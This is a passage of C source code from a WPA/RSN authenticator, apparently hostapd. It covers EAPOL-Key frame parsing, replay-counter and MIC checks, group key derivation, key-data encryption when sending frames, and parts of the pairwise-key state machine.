wpa_hexdump(MSG_MSGDUMP, "WPA: EAPOL-Key header (ending before Key MIC)", key, sizeof(*key)); wpa_hexdump(MSG_MSGDUMP, "WPA: EAPOL-Key Key MIC", mic, mic_len); if (key_data_length > data_len - sizeof(*hdr) - keyhdrlen) { wpa_printf(MSG_INFO, "WPA: Invalid EAPOL-Key frame - " "key_data overflow (%d > %lu)", key_data_length, (unsigned long) (data_len - sizeof(*hdr) - keyhdrlen)); return; } if (sm->wpa == WPA_VERSION_WPA2) { if (key->type == EAPOL_KEY_TYPE_WPA) { /* * Some deployed station implementations seem to send * msg 4/4 with incorrect type value in WPA2 mode. */ wpa_printf(MSG_DEBUG, "Workaround: Allow EAPOL-Key " "with unexpected WPA type in RSN mode"); } else if (key->type != EAPOL_KEY_TYPE_RSN) { wpa_printf(MSG_DEBUG, "Ignore EAPOL-Key with " "unexpected type %d in RSN mode", key->type); return; } } else { if (key->type != EAPOL_KEY_TYPE_WPA) { wpa_printf(MSG_DEBUG, "Ignore EAPOL-Key with " "unexpected type %d in WPA mode", key->type); return; } } wpa_hexdump(MSG_DEBUG, "WPA: Received Key Nonce", key->key_nonce, WPA_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPA: Received Replay Counter", key->replay_counter, WPA_REPLAY_COUNTER_LEN); /* FIX: verify that the EAPOL-Key frame was encrypted if pairwise keys * are set */ if (key_info & WPA_KEY_INFO_SMK_MESSAGE) { wpa_printf(MSG_DEBUG, "WPA: Ignore SMK message"); return; } if (key_info & WPA_KEY_INFO_REQUEST) { msg = REQUEST; msgtxt = "Request"; } else if (!(key_info & WPA_KEY_INFO_KEY_TYPE)) { msg = GROUP_2; msgtxt = "2/2 Group"; } else if (key_data_length == 0 || (mic_len == 0 && (key_info & WPA_KEY_INFO_ENCR_KEY_DATA) && key_data_length == AES_BLOCK_SIZE)) { msg = PAIRWISE_4; msgtxt = "4/4 Pairwise"; } else { msg = PAIRWISE_2; msgtxt = "2/4 Pairwise"; } if (msg == REQUEST || msg == PAIRWISE_2 || msg == PAIRWISE_4 || msg == GROUP_2) { u16 ver = key_info & WPA_KEY_INFO_TYPE_MASK; if (sm->pairwise == WPA_CIPHER_CCMP || sm->pairwise == WPA_CIPHER_GCMP) { if (wpa_use_cmac(sm->wpa_key_mgmt) && !wpa_use_akm_defined(sm->wpa_key_mgmt) && ver != WPA_KEY_INFO_TYPE_AES_128_CMAC) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_WARNING, "advertised support for " "AES-128-CMAC, but did not " "use it"); return; } if (!wpa_use_cmac(sm->wpa_key_mgmt) && !wpa_use_akm_defined(sm->wpa_key_mgmt) && ver != WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_WARNING, "did not use HMAC-SHA1-AES " "with CCMP/GCMP"); return; } } if (wpa_use_akm_defined(sm->wpa_key_mgmt) && ver != WPA_KEY_INFO_TYPE_AKM_DEFINED) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_WARNING, "did not use EAPOL-Key descriptor version 0 as required for AKM-defined cases"); return; } } if (key_info & WPA_KEY_INFO_REQUEST) { if (sm->req_replay_counter_used && os_memcmp(key->replay_counter, sm->req_replay_counter, WPA_REPLAY_COUNTER_LEN) <= 0) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_WARNING, "received EAPOL-Key request with " "replayed counter"); return; } } if (!(key_info & WPA_KEY_INFO_REQUEST) && !wpa_replay_counter_valid(sm->key_replay, key->replay_counter)) { int i; if (msg == PAIRWISE_2 && wpa_replay_counter_valid(sm->prev_key_replay, key->replay_counter) && sm->wpa_ptk_state == WPA_PTK_PTKINITNEGOTIATING && os_memcmp(sm->SNonce, key->key_nonce, WPA_NONCE_LEN) != 0) { /* * Some supplicant implementations (e.g., Windows XP * WZC) update SNonce for each EAPOL-Key 2/4. This * breaks the workaround on accepting any of the * pending requests, so allow the SNonce to be updated * even if we have already sent out EAPOL-Key 3/4. */ wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, "Process SNonce update from STA " "based on retransmitted EAPOL-Key " "1/4"); sm->update_snonce = 1; os_memcpy(sm->alt_SNonce, sm->SNonce, WPA_NONCE_LEN); sm->alt_snonce_valid = TRUE; os_memcpy(sm->alt_replay_counter, sm->key_replay[0].counter, WPA_REPLAY_COUNTER_LEN); goto continue_processing; } if (msg == PAIRWISE_4 && sm->alt_snonce_valid && sm->wpa_ptk_state == WPA_PTK_PTKINITNEGOTIATING && os_memcmp(key->replay_counter, sm->alt_replay_counter, WPA_REPLAY_COUNTER_LEN) == 0) { /* * Supplicant may still be using the old SNonce since * there was two EAPOL-Key 2/4 messages and they had * different SNonce values. */ wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, "Try to process received EAPOL-Key 4/4 based on old Replay Counter and SNonce from an earlier EAPOL-Key 1/4"); goto continue_processing; } if (msg == PAIRWISE_2 && wpa_replay_counter_valid(sm->prev_key_replay, key->replay_counter) && sm->wpa_ptk_state == WPA_PTK_PTKINITNEGOTIATING) { wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, "ignore retransmitted EAPOL-Key %s - " "SNonce did not change", msgtxt); } else { wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, "received EAPOL-Key %s with " "unexpected replay counter", msgtxt); } for (i = 0; i < RSNA_MAX_EAPOL_RETRIES; i++) { if (!sm->key_replay[i].valid) break; wpa_hexdump(MSG_DEBUG, "pending replay counter", sm->key_replay[i].counter, WPA_REPLAY_COUNTER_LEN); } wpa_hexdump(MSG_DEBUG, "received replay counter", key->replay_counter, WPA_REPLAY_COUNTER_LEN); return; } continue_processing: #ifdef CONFIG_FILS if (sm->wpa == WPA_VERSION_WPA2 && mic_len == 0 && !(key_info & WPA_KEY_INFO_ENCR_KEY_DATA)) { wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, "WPA: Encr Key Data bit not set even though AEAD cipher is supposed to be used - drop frame"); return; } #endif /* CONFIG_FILS */ switch (msg) { case PAIRWISE_2: if (sm->wpa_ptk_state != WPA_PTK_PTKSTART && sm->wpa_ptk_state != WPA_PTK_PTKCALCNEGOTIATING && (!sm->update_snonce || sm->wpa_ptk_state != WPA_PTK_PTKINITNEGOTIATING)) { wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key msg 2/4 in " "invalid state (%d) - dropped", sm->wpa_ptk_state); return; } random_add_randomness(key->key_nonce, WPA_NONCE_LEN); if (sm->group->reject_4way_hs_for_entropy) { /* * The system did not have enough entropy to generate * strong random numbers. Reject the first 4-way * handshake(s) and collect some entropy based on the * information from it. Once enough entropy is * available, the next atempt will trigger GMK/Key * Counter update and the station will be allowed to * continue. */ wpa_printf(MSG_DEBUG, "WPA: Reject 4-way handshake to " "collect more entropy for random number " "generation"); random_mark_pool_ready(); wpa_sta_disconnect(wpa_auth, sm->addr, WLAN_REASON_PREV_AUTH_NOT_VALID); return; } break; case PAIRWISE_4: if (sm->wpa_ptk_state != WPA_PTK_PTKINITNEGOTIATING || !sm->PTK_valid) { wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key msg 4/4 in " "invalid state (%d) - dropped", sm->wpa_ptk_state); return; } break; case GROUP_2: if (sm->wpa_ptk_group_state != WPA_PTK_GROUP_REKEYNEGOTIATING || !sm->PTK_valid) { wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key msg 2/2 in " "invalid state (%d) - dropped", sm->wpa_ptk_group_state); return; } break; case REQUEST: break; } wpa_auth_vlogger(wpa_auth, sm->addr, LOGGER_DEBUG, "received EAPOL-Key frame (%s)", msgtxt); if (key_info & WPA_KEY_INFO_ACK) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "received invalid EAPOL-Key: Key Ack set"); return; } if (!wpa_key_mgmt_fils(sm->wpa_key_mgmt) && !(key_info & WPA_KEY_INFO_MIC)) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "received invalid EAPOL-Key: Key MIC not set"); return; } #ifdef CONFIG_FILS if (wpa_key_mgmt_fils(sm->wpa_key_mgmt) && (key_info & WPA_KEY_INFO_MIC)) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "received invalid EAPOL-Key: Key MIC set"); return; } #endif /* CONFIG_FILS */ sm->MICVerified = FALSE; if (sm->PTK_valid && !sm->update_snonce) { if (mic_len && wpa_verify_key_mic(sm->wpa_key_mgmt, sm->pmk_len, &sm->PTK, data, data_len) && (msg != PAIRWISE_4 || !sm->alt_snonce_valid || wpa_try_alt_snonce(sm, data, data_len))) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key with invalid MIC"); return; } #ifdef CONFIG_FILS if (!mic_len && wpa_aead_decrypt(sm, &sm->PTK, data, data_len, &key_data_length) < 0) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key with invalid MIC"); return; } #endif /* CONFIG_FILS */ sm->MICVerified = TRUE; eloop_cancel_timeout(wpa_send_eapol_timeout, wpa_auth, sm); sm->pending_1_of_4_timeout = 0; } if (key_info & WPA_KEY_INFO_REQUEST) { if (sm->MICVerified) { sm->req_replay_counter_used = 1; os_memcpy(sm->req_replay_counter, key->replay_counter, WPA_REPLAY_COUNTER_LEN); } else { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key request with " "invalid MIC"); return; } /* * TODO: should decrypt key data field if encryption was used; * even though MAC address KDE is not normally encrypted, * supplicant is allowed to encrypt it. */ if (key_info & WPA_KEY_INFO_ERROR) { if (wpa_receive_error_report( wpa_auth, sm, !(key_info & WPA_KEY_INFO_KEY_TYPE)) > 0) return; /* STA entry was removed */ } else if (key_info & WPA_KEY_INFO_KEY_TYPE) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key Request for new " "4-Way Handshake"); wpa_request_new_ptk(sm); } else if (key_data_length > 0 && wpa_parse_kde_ies(key_data, key_data_length, &kde) == 0 && kde.mac_addr) { } else { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key Request for GTK " "rekeying"); eloop_cancel_timeout(wpa_rekey_gtk, wpa_auth, NULL); wpa_rekey_gtk(wpa_auth, NULL); } } else { /* Do not allow the same key replay counter to be reused. */ wpa_replay_counter_mark_invalid(sm->key_replay, key->replay_counter); if (msg == PAIRWISE_2) { /* * Maintain a copy of the pending EAPOL-Key frames in * case the EAPOL-Key frame was retransmitted. This is * needed to allow EAPOL-Key msg 2/4 reply to another * pending msg 1/4 to update the SNonce to work around * unexpected supplicant behavior. */ os_memcpy(sm->prev_key_replay, sm->key_replay, sizeof(sm->key_replay)); } else { os_memset(sm->prev_key_replay, 0, sizeof(sm->prev_key_replay)); } /* * Make sure old valid counters are not accepted anymore and * do not get copied again. */ wpa_replay_counter_mark_invalid(sm->key_replay, NULL); } os_free(sm->last_rx_eapol_key); sm->last_rx_eapol_key = os_memdup(data, data_len); if (sm->last_rx_eapol_key == NULL) return; sm->last_rx_eapol_key_len = data_len; sm->rx_eapol_key_secure = !!(key_info & WPA_KEY_INFO_SECURE); sm->EAPOLKeyReceived = TRUE; sm->EAPOLKeyPairwise = !!(key_info & WPA_KEY_INFO_KEY_TYPE); sm->EAPOLKeyRequest = !!(key_info & WPA_KEY_INFO_REQUEST); os_memcpy(sm->SNonce, key->key_nonce, WPA_NONCE_LEN); wpa_sm_step(sm); } static int wpa_gmk_to_gtk(const u8 *gmk, const char *label, const u8 *addr, const u8 *gnonce, u8 *gtk, size_t gtk_len) { u8 data[ETH_ALEN + WPA_NONCE_LEN + 8 + WPA_GTK_MAX_LEN]; u8 *pos; int ret = 0; /* GTK = PRF-X(GMK, "Group key expansion", * AA || GNonce || Time || random data) * The example described in the IEEE 802.11 standard uses only AA and * GNonce as inputs here. Add some more entropy since this derivation * is done only at the Authenticator and as such, does not need to be * exactly same. */ os_memset(data, 0, sizeof(data)); os_memcpy(data, addr, ETH_ALEN); os_memcpy(data + ETH_ALEN, gnonce, WPA_NONCE_LEN); pos = data + ETH_ALEN + WPA_NONCE_LEN; wpa_get_ntp_timestamp(pos); pos += 8; if (random_get_bytes(pos, gtk_len) < 0) ret = -1; #ifdef CONFIG_SHA384 if (sha384_prf(gmk, WPA_GMK_LEN, label, data, sizeof(data), gtk, gtk_len) < 0) ret = -1; #else /* CONFIG_SHA384 */ #ifdef CONFIG_SHA256 if (sha256_prf(gmk, WPA_GMK_LEN, label, data, sizeof(data), gtk, gtk_len) < 0) ret = -1; #else /* CONFIG_SHA256 */ if (sha1_prf(gmk, WPA_GMK_LEN, label, data, sizeof(data), gtk, gtk_len) < 0) ret = -1; #endif /* CONFIG_SHA256 */ #endif /* CONFIG_SHA384 */ return ret; } static void wpa_send_eapol_timeout(void *eloop_ctx, void *timeout_ctx) { struct wpa_authenticator *wpa_auth = eloop_ctx; struct wpa_state_machine *sm = timeout_ctx; sm->pending_1_of_4_timeout = 0; wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, "EAPOL-Key timeout"); sm->TimeoutEvt = TRUE; wpa_sm_step(sm); } void __wpa_send_eapol(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, int key_info, const u8 *key_rsc, const u8 *nonce, const u8 *kde, size_t kde_len, int keyidx, int encr, int force_version) { struct ieee802_1x_hdr *hdr; struct wpa_eapol_key *key; size_t len, mic_len, keyhdrlen; int alg; int key_data_len, pad_len = 0; u8 *buf, *pos; int version, pairwise; int i; u8 *key_mic, *key_data; mic_len = wpa_mic_len(sm->wpa_key_mgmt, sm->pmk_len); keyhdrlen = sizeof(*key) + mic_len + 2; len = sizeof(struct ieee802_1x_hdr) + keyhdrlen; if (force_version) version = force_version; else if (wpa_use_akm_defined(sm->wpa_key_mgmt)) version = WPA_KEY_INFO_TYPE_AKM_DEFINED; else if (wpa_use_cmac(sm->wpa_key_mgmt)) version = WPA_KEY_INFO_TYPE_AES_128_CMAC; else if (sm->pairwise != WPA_CIPHER_TKIP) version = WPA_KEY_INFO_TYPE_HMAC_SHA1_AES; else version = WPA_KEY_INFO_TYPE_HMAC_MD5_RC4; pairwise = !!(key_info & WPA_KEY_INFO_KEY_TYPE); wpa_printf(MSG_DEBUG, "WPA: Send EAPOL(version=%d secure=%d mic=%d " "ack=%d install=%d pairwise=%d kde_len=%lu keyidx=%d " "encr=%d)", version, (key_info & WPA_KEY_INFO_SECURE) ? 1 : 0, (key_info & WPA_KEY_INFO_MIC) ? 1 : 0, (key_info & WPA_KEY_INFO_ACK) ? 1 : 0, (key_info & WPA_KEY_INFO_INSTALL) ? 1 : 0, pairwise, (unsigned long) kde_len, keyidx, encr); key_data_len = kde_len; if ((version == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES || wpa_use_aes_key_wrap(sm->wpa_key_mgmt) || version == WPA_KEY_INFO_TYPE_AES_128_CMAC) && encr) { pad_len = key_data_len % 8; if (pad_len) pad_len = 8 - pad_len; key_data_len += pad_len + 8; } len += key_data_len; if (!mic_len && encr) len += AES_BLOCK_SIZE; hdr = os_zalloc(len); if (hdr == NULL) return; hdr->version = wpa_auth->conf.eapol_version; hdr->type = IEEE802_1X_TYPE_EAPOL_KEY; hdr->length = host_to_be16(len - sizeof(*hdr)); key = (struct wpa_eapol_key *) (hdr + 1); key_mic = (u8 *) (key + 1); key_data = ((u8 *) (hdr + 1)) + keyhdrlen; key->type = sm->wpa == WPA_VERSION_WPA2 ? EAPOL_KEY_TYPE_RSN : EAPOL_KEY_TYPE_WPA; key_info |= version; if (encr && sm->wpa == WPA_VERSION_WPA2) key_info |= WPA_KEY_INFO_ENCR_KEY_DATA; if (sm->wpa != WPA_VERSION_WPA2) key_info |= keyidx << WPA_KEY_INFO_KEY_INDEX_SHIFT; WPA_PUT_BE16(key->key_info, key_info); alg = pairwise ? sm->pairwise : wpa_auth->conf.wpa_group; if (sm->wpa == WPA_VERSION_WPA2 && !pairwise) WPA_PUT_BE16(key->key_length, 0); else WPA_PUT_BE16(key->key_length, wpa_cipher_key_len(alg)); for (i = RSNA_MAX_EAPOL_RETRIES - 1; i > 0; i--) { sm->key_replay[i].valid = sm->key_replay[i - 1].valid; os_memcpy(sm->key_replay[i].counter, sm->key_replay[i - 1].counter, WPA_REPLAY_COUNTER_LEN); } inc_byte_array(sm->key_replay[0].counter, WPA_REPLAY_COUNTER_LEN); os_memcpy(key->replay_counter, sm->key_replay[0].counter, WPA_REPLAY_COUNTER_LEN); wpa_hexdump(MSG_DEBUG, "WPA: Replay Counter", key->replay_counter, WPA_REPLAY_COUNTER_LEN); sm->key_replay[0].valid = TRUE; if (nonce) os_memcpy(key->key_nonce, nonce, WPA_NONCE_LEN); if (key_rsc) os_memcpy(key->key_rsc, key_rsc, WPA_KEY_RSC_LEN); if (kde && !encr) { os_memcpy(key_data, kde, kde_len); WPA_PUT_BE16(key_mic + mic_len, kde_len); #ifdef CONFIG_FILS } else if (!mic_len && kde) { const u8 *aad[1]; size_t aad_len[1]; WPA_PUT_BE16(key_mic, AES_BLOCK_SIZE + kde_len); wpa_hexdump_key(MSG_DEBUG, "Plaintext EAPOL-Key Key Data", kde, kde_len); wpa_hexdump_key(MSG_DEBUG, "WPA: KEK", sm->PTK.kek, sm->PTK.kek_len); /* AES-SIV AAD from EAPOL protocol version field (inclusive) to * to Key Data (exclusive). */ aad[0] = (u8 *) hdr; aad_len[0] = key_mic + 2 - (u8 *) hdr; if (aes_siv_encrypt(sm->PTK.kek, sm->PTK.kek_len, kde, kde_len, 1, aad, aad_len, key_mic + 2) < 0) { wpa_printf(MSG_DEBUG, "WPA: AES-SIV encryption failed"); return; } wpa_hexdump(MSG_DEBUG, "WPA: Encrypted Key Data from SIV", key_mic + 2, AES_BLOCK_SIZE + kde_len); #endif /* CONFIG_FILS */ } else if (encr && kde) { buf = os_zalloc(key_data_len); if (buf == NULL) { os_free(hdr); return; } pos = buf; os_memcpy(pos, kde, kde_len); pos += kde_len; if (pad_len) *pos++ = 0xdd; wpa_hexdump_key(MSG_DEBUG, "Plaintext EAPOL-Key Key Data", buf, key_data_len); if (version == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES || wpa_use_aes_key_wrap(sm->wpa_key_mgmt) || version == WPA_KEY_INFO_TYPE_AES_128_CMAC) { wpa_printf(MSG_DEBUG, "WPA: Encrypt Key Data using AES-WRAP (KEK length %u)", (unsigned int) sm->PTK.kek_len); if (aes_wrap(sm->PTK.kek, sm->PTK.kek_len, (key_data_len - 8) / 8, buf, key_data)) { os_free(hdr); os_free(buf); return; } WPA_PUT_BE16(key_mic + mic_len, key_data_len); #ifndef CONFIG_NO_RC4 } else if (sm->PTK.kek_len == 16) { u8 ek[32]; wpa_printf(MSG_DEBUG, "WPA: Encrypt Key Data using RC4"); os_memcpy(key->key_iv, sm->group->Counter + WPA_NONCE_LEN - 16, 16); inc_byte_array(sm->group->Counter, WPA_NONCE_LEN); os_memcpy(ek, key->key_iv, 16); os_memcpy(ek + 16, sm->PTK.kek, sm->PTK.kek_len); os_memcpy(key_data, buf, key_data_len); rc4_skip(ek, 32, 256, key_data, key_data_len); WPA_PUT_BE16(key_mic + mic_len, key_data_len); #endif /* CONFIG_NO_RC4 */ } else { os_free(hdr); os_free(buf); return; } os_free(buf); } if (key_info & WPA_KEY_INFO_MIC) { if (!sm->PTK_valid || !mic_len) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, "PTK not valid when sending EAPOL-Key " "frame"); os_free(hdr); return; } if (wpa_eapol_key_mic(sm->PTK.kck, sm->PTK.kck_len, sm->wpa_key_mgmt, version, (u8 *) hdr, len, key_mic) < 0) { os_free(hdr); return; } #ifdef CONFIG_TESTING_OPTIONS if (!pairwise && wpa_auth->conf.corrupt_gtk_rekey_mic_probability > 0.0 && drand48() < wpa_auth->conf.corrupt_gtk_rekey_mic_probability) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "Corrupting group EAPOL-Key Key MIC"); key_mic[0]++; } #endif /* CONFIG_TESTING_OPTIONS */ } wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_inc_EapolFramesTx, 1); wpa_auth_send_eapol(wpa_auth, sm->addr, (u8 *) hdr, len, sm->pairwise_set); os_free(hdr); } static void wpa_send_eapol(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, int key_info, const u8 *key_rsc, const u8 *nonce, const u8 *kde, size_t kde_len, int keyidx, int encr) { int timeout_ms; int pairwise = key_info & WPA_KEY_INFO_KEY_TYPE; u32 ctr; if (sm == NULL) return; __wpa_send_eapol(wpa_auth, sm, key_info, key_rsc, nonce, kde, kde_len, keyidx, encr, 0); ctr = pairwise ? sm->TimeoutCtr : sm->GTimeoutCtr; if (ctr == 1 && wpa_auth->conf.tx_status) timeout_ms = pairwise ? eapol_key_timeout_first : eapol_key_timeout_first_group; else timeout_ms = eapol_key_timeout_subseq; if (wpa_auth->conf.wpa_disable_eapol_key_retries && (!pairwise || (key_info & WPA_KEY_INFO_MIC))) timeout_ms = eapol_key_timeout_no_retrans; if (pairwise && ctr == 1 && !(key_info & WPA_KEY_INFO_MIC)) sm->pending_1_of_4_timeout = 1; wpa_printf(MSG_DEBUG, "WPA: Use EAPOL-Key timeout of %u ms (retry " "counter %u)", timeout_ms, ctr); eloop_register_timeout(timeout_ms / 1000, (timeout_ms % 1000) * 1000, wpa_send_eapol_timeout, wpa_auth, sm); } static int wpa_verify_key_mic(int akmp, size_t pmk_len, struct wpa_ptk *PTK, u8 *data, size_t data_len) { struct ieee802_1x_hdr *hdr; struct wpa_eapol_key *key; u16 key_info; int ret = 0; u8 mic[WPA_EAPOL_KEY_MIC_MAX_LEN], *mic_pos; size_t mic_len = wpa_mic_len(akmp, pmk_len); if (data_len < sizeof(*hdr) + sizeof(*key)) return -1; hdr = (struct ieee802_1x_hdr *) data; key = (struct wpa_eapol_key *) (hdr + 1); mic_pos = (u8 *) (key + 1); key_info = WPA_GET_BE16(key->key_info); os_memcpy(mic, mic_pos, mic_len); os_memset(mic_pos, 0, mic_len); if (wpa_eapol_key_mic(PTK->kck, PTK->kck_len, akmp, key_info & WPA_KEY_INFO_TYPE_MASK, data, data_len, mic_pos) || os_memcmp_const(mic, mic_pos, mic_len) != 0) ret = -1; os_memcpy(mic_pos, mic, mic_len); return ret; } void wpa_remove_ptk(struct wpa_state_machine *sm) { sm->PTK_valid = FALSE; os_memset(&sm->PTK, 0, sizeof(sm->PTK)); if (wpa_auth_set_key(sm->wpa_auth, 0, WPA_ALG_NONE, sm->addr, 0, NULL, 0)) wpa_printf(MSG_DEBUG, "RSN: PTK removal from the driver failed"); sm->pairwise_set = FALSE; eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm); } int wpa_auth_sm_event(struct wpa_state_machine *sm, enum wpa_event event) { int remove_ptk = 1; if (sm == NULL) return -1; wpa_auth_vlogger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "event %d notification", event); switch (event) { case WPA_AUTH: #ifdef CONFIG_MESH /* PTKs are derived through AMPE */ if (wpa_auth_start_ampe(sm->wpa_auth, sm->addr)) { /* not mesh */ break; } return 0; #endif /* CONFIG_MESH */ case WPA_ASSOC: break; case WPA_DEAUTH: case WPA_DISASSOC: sm->DeauthenticationRequest = TRUE; break; case WPA_REAUTH: case WPA_REAUTH_EAPOL: if (!sm->started) { /* * When using WPS, we may end up here if the STA * manages to re-associate without the previous STA * entry getting removed. Consequently, we need to make * sure that the WPA state machines gets initialized * properly at this point. */ wpa_printf(MSG_DEBUG, "WPA state machine had not been " "started - initialize now"); sm->started = 1; sm->Init = TRUE; if (wpa_sm_step(sm) == 1) return 1; /* should not really happen */ sm->Init = FALSE; sm->AuthenticationRequest = TRUE; break; } if (sm->GUpdateStationKeys) { /* * Reauthentication cancels the pending group key * update for this STA. */ sm->group->GKeyDoneStations--; sm->GUpdateStationKeys = FALSE; sm->PtkGroupInit = TRUE; } sm->ReAuthenticationRequest = TRUE; break; case WPA_ASSOC_FT: #ifdef CONFIG_IEEE80211R_AP wpa_printf(MSG_DEBUG, "FT: Retry PTK configuration " "after association"); wpa_ft_install_ptk(sm); /* Using FT protocol, not WPA auth state machine */ sm->ft_completed = 1; return 0; #else /* CONFIG_IEEE80211R_AP */ break; #endif /* CONFIG_IEEE80211R_AP */ case WPA_ASSOC_FILS: #ifdef CONFIG_FILS wpa_printf(MSG_DEBUG, "FILS: TK configuration after association"); fils_set_tk(sm); sm->fils_completed = 1; return 0; #else /* CONFIG_FILS */ break; #endif /* CONFIG_FILS */ case WPA_DRV_STA_REMOVED: sm->tk_already_set = FALSE; return 0; } #ifdef CONFIG_IEEE80211R_AP sm->ft_completed = 0; #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_IEEE80211W if (sm->mgmt_frame_prot && event == WPA_AUTH) remove_ptk = 0; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_FILS if (wpa_key_mgmt_fils(sm->wpa_key_mgmt) && (event == WPA_AUTH || event == WPA_ASSOC)) remove_ptk = 0; #endif /* CONFIG_FILS */ if (remove_ptk) { sm->PTK_valid = FALSE; os_memset(&sm->PTK, 0, sizeof(sm->PTK)); if (event != WPA_REAUTH_EAPOL) wpa_remove_ptk(sm); } if (sm->in_step_loop) { /* * wpa_sm_step() is already running - avoid recursive call to * it by making the existing loop process the new update. */ sm->changed = TRUE; return 0; } return wpa_sm_step(sm); } SM_STATE(WPA_PTK, INITIALIZE) { SM_ENTRY_MA(WPA_PTK, INITIALIZE, wpa_ptk); if (sm->Init) { /* Init flag is not cleared here, so avoid busy * loop by claiming nothing changed. */ sm->changed = FALSE; } sm->keycount = 0; if (sm->GUpdateStationKeys) sm->group->GKeyDoneStations--; sm->GUpdateStationKeys = FALSE; if (sm->wpa == WPA_VERSION_WPA) sm->PInitAKeys = FALSE; if (1 /* Unicast cipher supported AND (ESS OR ((IBSS or WDS) and * Local AA > Remote AA)) */) { sm->Pair = TRUE; } wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portEnabled, 0); wpa_remove_ptk(sm); wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portValid, 0); sm->TimeoutCtr = 0; if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt) || sm->wpa_key_mgmt == WPA_KEY_MGMT_DPP || sm->wpa_key_mgmt == WPA_KEY_MGMT_OWE) { wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_authorized, 0); } } SM_STATE(WPA_PTK, DISCONNECT) { u16 reason = sm->disconnect_reason; SM_ENTRY_MA(WPA_PTK, DISCONNECT, wpa_ptk); sm->Disconnect = FALSE; sm->disconnect_reason = 0; if (!reason) reason = WLAN_REASON_PREV_AUTH_NOT_VALID; wpa_sta_disconnect(sm->wpa_auth, sm->addr, reason); } SM_STATE(WPA_PTK, DISCONNECTED) { SM_ENTRY_MA(WPA_PTK, DISCONNECTED, wpa_ptk); sm->DeauthenticationRequest = FALSE; } SM_STATE(WPA_PTK, AUTHENTICATION) { SM_ENTRY_MA(WPA_PTK, AUTHENTICATION, wpa_ptk); os_memset(&sm->PTK, 0, sizeof(sm->PTK)); sm->PTK_valid = FALSE; wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portControl_Auto, 1); wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portEnabled, 1); sm->AuthenticationRequest = FALSE; } static void wpa_group_ensure_init(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { if (group->first_sta_seen) return; /* * System has run bit further than at the time hostapd was started * potentially very early during boot up. This provides better chances * of collecting more randomness on embedded systems. Re-initialize the * GMK and Counter here to improve their strength if there was not * enough entropy available immediately after system startup. */ wpa_printf(MSG_DEBUG, "WPA: Re-initialize GMK/Counter on first " "station"); if (random_pool_ready() != 1) { wpa_printf(MSG_INFO, "WPA: Not enough entropy in random pool " "to proceed - reject first 4-way handshake"); group->reject_4way_hs_for_entropy = TRUE; } else { group->first_sta_seen = TRUE; group->reject_4way_hs_for_entropy = FALSE; } if (wpa_group_init_gmk_and_counter(wpa_auth, group) < 0 || wpa_gtk_update(wpa_auth, group) < 0 || wpa_group_config_group_keys(wpa_auth, group) < 0) { wpa_printf(MSG_INFO, "WPA: GMK/GTK setup failed"); group->first_sta_seen = FALSE; group->reject_4way_hs_for_entropy = TRUE; } } SM_STATE(WPA_PTK, AUTHENTICATION2) { SM_ENTRY_MA(WPA_PTK, AUTHENTICATION2, wpa_ptk); wpa_group_ensure_init(sm->wpa_auth, sm->group); sm->ReAuthenticationRequest = FALSE; /* * Definition of ANonce selection in IEEE Std 802.11i-2004 is somewhat * ambiguous. The Authenticator state machine uses a counter that is * incremented by one for each 4-way handshake. However, the security * analysis of 4-way handshake points out that unpredictable nonces * help in preventing precomputation attacks. Instead of the state * machine definition, use an unpredictable nonce value here to provide * stronger protection against potential precomputation attacks. */ if (random_get_bytes(sm->ANonce, WPA_NONCE_LEN)) { wpa_printf(MSG_ERROR, "WPA: Failed to get random data for " "ANonce."); sm->Disconnect = TRUE; return; } wpa_hexdump(MSG_DEBUG, "WPA: Assign ANonce", sm->ANonce, WPA_NONCE_LEN); /* IEEE 802.11i does not clear TimeoutCtr here, but this is more * logical place than INITIALIZE since AUTHENTICATION2 can be * re-entered on ReAuthenticationRequest without going through * INITIALIZE. */ sm->TimeoutCtr = 0; } static int wpa_auth_sm_ptk_update(struct wpa_state_machine *sm) { if (random_get_bytes(sm->ANonce, 